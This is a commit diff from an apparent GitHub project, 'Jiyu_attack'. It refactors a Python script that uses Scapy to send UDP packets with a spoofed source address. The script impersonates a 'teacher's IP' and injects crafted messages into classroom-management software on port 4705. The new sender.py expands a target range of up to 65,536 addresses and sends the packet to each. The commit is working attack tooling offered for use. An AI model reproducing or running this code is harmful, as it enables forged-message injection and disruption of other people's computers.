Skip to content

Commit 45d2635

Browse files
committed
feat: Implement UDP packet broadcasting functionality and refactor Jiyu_attack script
1 parent 92840d0 commit 45d2635

File tree

2 files changed

+146
-127
lines changed

2 files changed

+146
-127
lines changed

Jiyu_attack.py

Lines changed: 2 additions & 127 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,3 @@
1-
# pylint: disable=line-too-long, invalid-name
2-
31
"""
42
Jiyu Attack Script
53
@@ -13,108 +11,7 @@
1311

1412
from typing import Literal, Optional
1513

16-
import scapy.all as scapy
17-
18-
19-
def ip_to_tuple(ip: str) -> tuple[int, int, int, int]:
20-
"""
21-
Converts an IP address string to a tuple of four integers.
22-
23-
Args:
24-
ip (str): The IP address in string format (e.g., "192.168.1.1").
25-
26-
Returns:
27-
tuple[int, int, int, int]: A tuple representing the four octets of the IP address.
28-
29-
Raises:
30-
TypeError: If the input is not a string.
31-
ValueError: If the input is not a valid IP address format.
32-
"""
33-
if not isinstance(ip, str):
34-
raise TypeError(f"Expected string, got {type(ip).__name__}")
35-
try:
36-
ip_tuple = tuple(int(x) for x in ip.split("."))
37-
except ValueError:
38-
raise ValueError(f"Invalid IP address format: {ip}") from None
39-
if len(ip_tuple) != 4 or any(x < 0 or x > 255 for x in ip_tuple):
40-
raise ValueError(f"Invalid IP address format: {ip}")
41-
return ip_tuple
42-
43-
44-
# pylint: disable=too-many-branches
45-
def ip_analyze(ip: str) -> list[str]:
46-
"""
47-
Analyzes an IP address or range and returns a list of valid IP addresses.
48-
49-
Args:
50-
ip (str): The IP address or range in string format (e.g., "192.168.1.1", "192.168.1.1/24", "192.168.1.1-100").
51-
52-
Returns:
53-
list[str]: A list of valid IP addresses.
54-
55-
Raises:
56-
TypeError: If the input is not a string.
57-
ValueError: If the input is not a valid IP address or range.
58-
"""
59-
if not isinstance(ip, str):
60-
raise TypeError(f"Expected string, got {type(ip).__name__}")
61-
ip = ip.replace(" ", "")
62-
if "/" in ip:
63-
match ip.split("/"):
64-
case [ip_addr, mask]:
65-
if not mask.isdigit():
66-
raise ValueError(f"Invalid subnet mask: {mask}")
67-
mask = int(mask)
68-
if mask < 0 or mask > 32:
69-
raise ValueError(f"Subnet mask out of range: {mask}")
70-
if mask < 16:
71-
raise ValueError(f"Subnet mask too small: {mask}")
72-
case _:
73-
raise ValueError(f"Invalid IP address format: {ip}")
74-
ip_tuple = ip_to_tuple(ip_addr)
75-
ip32 = ip_tuple[0] << 24 | ip_tuple[1] << 16 | ip_tuple[2] << 8 | ip_tuple[3]
76-
ip32 &= (0xFFFFFFFF >> (32 - mask)) << (32 - mask)
77-
return [
78-
f"{(i >> 24) & 0xFF}.{(i >> 16) & 0xFF}.{(i >> 8) & 0xFF}.{i & 0xFF}"
79-
for i in range(ip32, ip32 + (1 << (32 - mask)))
80-
]
81-
if "-" in ip:
82-
ip_range_tuple = ip.split(".")
83-
if len(ip_range_tuple) != 4:
84-
raise ValueError(f"Invalid IP address range format: {ip}")
85-
ip_count = 1
86-
ip_range: list[tuple[int, int]] = []
87-
for i in ip_range_tuple:
88-
match i.split("-"):
89-
case [single]:
90-
if not single.isdigit():
91-
raise ValueError(f"Invalid IP address range format: {ip}")
92-
single = int(single)
93-
if single < 0 or single > 255:
94-
raise ValueError(f"IP address out of range: {single}")
95-
ip_range.append((single, single))
96-
case [start, end]:
97-
if not (start.isdigit() and end.isdigit()):
98-
raise ValueError(f"Invalid IP address range format: {ip}")
99-
start = int(start)
100-
end = int(end)
101-
if start < 0 or start > 255 or end < 0 or end > 255 or start > end:
102-
raise ValueError(f"Invalid IP address range: {start}-{end}")
103-
ip_range.append((start, end))
104-
case _:
105-
raise ValueError(f"Invalid IP address range format: {ip}")
106-
ip_count *= ip_range[-1][1] - ip_range[-1][0] + 1
107-
if ip_count > 65536:
108-
raise ValueError(f"IP address range too large: {ip_count} addresses")
109-
return [
110-
f"{a}.{b}.{c}.{d}"
111-
for a in range(ip_range[0][0], ip_range[0][1] + 1)
112-
for b in range(ip_range[1][0], ip_range[1][1] + 1)
113-
for c in range(ip_range[2][0], ip_range[2][1] + 1)
114-
for d in range(ip_range[3][0], ip_range[3][1] + 1)
115-
]
116-
ip_tuple = ip_to_tuple(ip)
117-
return [f"{ip_tuple[0]}.{ip_tuple[1]}.{ip_tuple[2]}.{ip_tuple[3]}"]
14+
from sender import broadcast_packet
11815

11916

12017
def format_data(data: str, max_length: Optional[int] = None) -> bytes:
@@ -240,28 +137,6 @@ def pkg_website(url: str) -> bytes:
240137
return head + data + b"\x00" * 4
241138

242139

243-
def send_packet(src_ip: str, dst_ip: str, dst_port: int, data: bytes) -> None:
244-
"""
245-
Sends a UDP packet with the specified source IP, destination IP, destination port, and data payload.
246-
247-
Args:
248-
src_ip (str): The source IP address.
249-
dst_ip (str): The destination IP address.
250-
dst_port (int): The destination port number.
251-
data (bytes): The data payload to include in the packet.
252-
253-
Raises:
254-
scapy.error.Scapy_Exception: If there is an error sending the packet.
255-
256-
Note:
257-
This function uses Scapy to construct and send the packet.
258-
Ensure that Scapy is installed and properly configured in your environment.
259-
"""
260-
# pylint: disable=no-member
261-
packet = scapy.IP(src=src_ip, dst=dst_ip) / scapy.UDP(dport=dst_port) / scapy.Raw(load=data) # type: ignore
262-
scapy.send(packet, count=1, verbose=False)
263-
264-
265140
if __name__ == "__main__":
266141
teacher_ip = input("Enter the teacher's IP address: ").strip()
267142
target = input("Enter the target IP address: ").strip()
@@ -271,4 +146,4 @@ def send_packet(src_ip: str, dst_ip: str, dst_port: int, data: bytes) -> None:
271146
print("Exiting...")
272147
break
273148
payload = pkg_message(tmsg)
274-
send_packet(teacher_ip, target, 4705, payload)
149+
broadcast_packet(teacher_ip, target, 4705, payload)

sender.py

Lines changed: 144 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,144 @@
1+
"""
2+
This module is used to send or broadcast UDP packets with spoofed IP addresses.
3+
"""
4+
5+
import scapy.all as scapy
6+
7+
8+
def ip_to_tuple(ip: str) -> tuple[int, int, int, int]:
9+
"""
10+
Converts an IP address string to a tuple of four integers.
11+
12+
Args:
13+
ip (str): The IP address in string format (e.g., "192.168.1.1").
14+
15+
Returns:
16+
tuple[int, int, int, int]: A tuple representing the four octets of the IP address.
17+
18+
Raises:
19+
TypeError: If the input is not a string.
20+
ValueError: If the input is not a valid IP address format.
21+
"""
22+
if not isinstance(ip, str):
23+
raise TypeError(f"Expected string, got {type(ip).__name__}")
24+
try:
25+
ip_tuple = tuple(int(x) for x in ip.split("."))
26+
except ValueError:
27+
raise ValueError(f"Invalid IP address format: {ip}") from None
28+
if len(ip_tuple) != 4 or any(x < 0 or x > 255 for x in ip_tuple):
29+
raise ValueError(f"Invalid IP address format: {ip}")
30+
return ip_tuple
31+
32+
33+
# pylint: disable=too-many-branches
34+
def ip_analyze(ip: str) -> list[str]:
35+
"""
36+
Analyzes an IP address or range and returns a list of valid IP addresses.
37+
38+
Args:
39+
ip (str): The IP address or range in string format (e.g., "192.168.1.1", "192.168.1.1/24", "192.168.1.1-100").
40+
41+
Returns:
42+
list[str]: A list of valid IP addresses.
43+
44+
Raises:
45+
TypeError: If the input is not a string.
46+
ValueError: If the input is not a valid IP address or range.
47+
"""
48+
if not isinstance(ip, str):
49+
raise TypeError(f"Expected string, got {type(ip).__name__}")
50+
ip = ip.replace(" ", "")
51+
if "/" in ip:
52+
match ip.split("/"):
53+
case [ip_addr, mask]:
54+
if not mask.isdigit():
55+
raise ValueError(f"Invalid subnet mask: {mask}")
56+
mask = int(mask)
57+
if mask < 0 or mask > 32:
58+
raise ValueError(f"Subnet mask out of range: {mask}")
59+
if mask < 16:
60+
raise ValueError(f"Subnet mask too small: {mask}")
61+
case _:
62+
raise ValueError(f"Invalid IP address format: {ip}")
63+
ip_tuple = ip_to_tuple(ip_addr)
64+
ip32 = ip_tuple[0] << 24 | ip_tuple[1] << 16 | ip_tuple[2] << 8 | ip_tuple[3]
65+
ip32 &= (0xFFFFFFFF >> (32 - mask)) << (32 - mask)
66+
return [
67+
f"{(i >> 24) & 0xFF}.{(i >> 16) & 0xFF}.{(i >> 8) & 0xFF}.{i & 0xFF}"
68+
for i in range(ip32, ip32 + (1 << (32 - mask)))
69+
]
70+
if "-" in ip:
71+
ip_range_tuple = ip.split(".")
72+
if len(ip_range_tuple) != 4:
73+
raise ValueError(f"Invalid IP address range format: {ip}")
74+
ip_count = 1
75+
ip_range: list[tuple[int, int]] = []
76+
for i in ip_range_tuple:
77+
match i.split("-"):
78+
case [single]:
79+
if not single.isdigit():
80+
raise ValueError(f"Invalid IP address range format: {ip}")
81+
single = int(single)
82+
if single < 0 or single > 255:
83+
raise ValueError(f"IP address out of range: {single}")
84+
ip_range.append((single, single))
85+
case [start, end]:
86+
if not (start.isdigit() and end.isdigit()):
87+
raise ValueError(f"Invalid IP address range format: {ip}")
88+
start = int(start)
89+
end = int(end)
90+
if start < 0 or start > 255 or end < 0 or end > 255 or start > end:
91+
raise ValueError(f"Invalid IP address range: {start}-{end}")
92+
ip_range.append((start, end))
93+
case _:
94+
raise ValueError(f"Invalid IP address range format: {ip}")
95+
ip_count *= ip_range[-1][1] - ip_range[-1][0] + 1
96+
if ip_count > 65536:
97+
raise ValueError(f"IP address range too large: {ip_count} addresses")
98+
return [
99+
f"{a}.{b}.{c}.{d}"
100+
for a in range(ip_range[0][0], ip_range[0][1] + 1)
101+
for b in range(ip_range[1][0], ip_range[1][1] + 1)
102+
for c in range(ip_range[2][0], ip_range[2][1] + 1)
103+
for d in range(ip_range[3][0], ip_range[3][1] + 1)
104+
]
105+
ip_tuple = ip_to_tuple(ip)
106+
return [f"{ip_tuple[0]}.{ip_tuple[1]}.{ip_tuple[2]}.{ip_tuple[3]}"]
107+
108+
109+
def send_packet(src_ip: str, dst_ip: str, dst_port: int, data: bytes) -> None:
110+
"""
111+
Sends a UDP packet with the specified source IP, destination IP, destination port, and data payload.
112+
113+
Args:
114+
src_ip (str): The source IP address.
115+
dst_ip (str): The destination IP address.
116+
dst_port (int): The destination port number.
117+
data (bytes): The data payload to include in the packet.
118+
119+
Raises:
120+
scapy.error.Scapy_Exception: If there is an error sending the packet.
121+
122+
Note:
123+
This function uses Scapy to construct and send the packet.
124+
Ensure that Scapy is installed and properly configured in your environment.
125+
"""
126+
# pylint: disable=no-member
127+
packet = scapy.IP(src=src_ip, dst=dst_ip) / scapy.UDP(dport=dst_port) / scapy.Raw(load=data) # type: ignore
128+
scapy.send(packet, count=1, verbose=False)
129+
130+
131+
def broadcast_packet(src_ip: str, dst_ip: str, dst_port: int, data: bytes) -> None:
132+
"""
133+
Sends a broadcast UDP packet to the specified destination IP address or range.
134+
135+
This function analyzes the destination IP address or range and sends the packet to each valid IP address.
136+
137+
Args:
138+
src_ip (str): The source IP address.
139+
dst_ip (str): The broadcast IP address (e.g., "192.168.1.255", "192.168.1.0/24", "192.168.1.10-100").
140+
dst_port (int): The destination port number.
141+
data (bytes): The data payload to include in the packet.
142+
"""
143+
for ip in ip_analyze(dst_ip):
144+
send_packet(src_ip, ip, dst_port, data)

0 commit comments

Comments
 (0)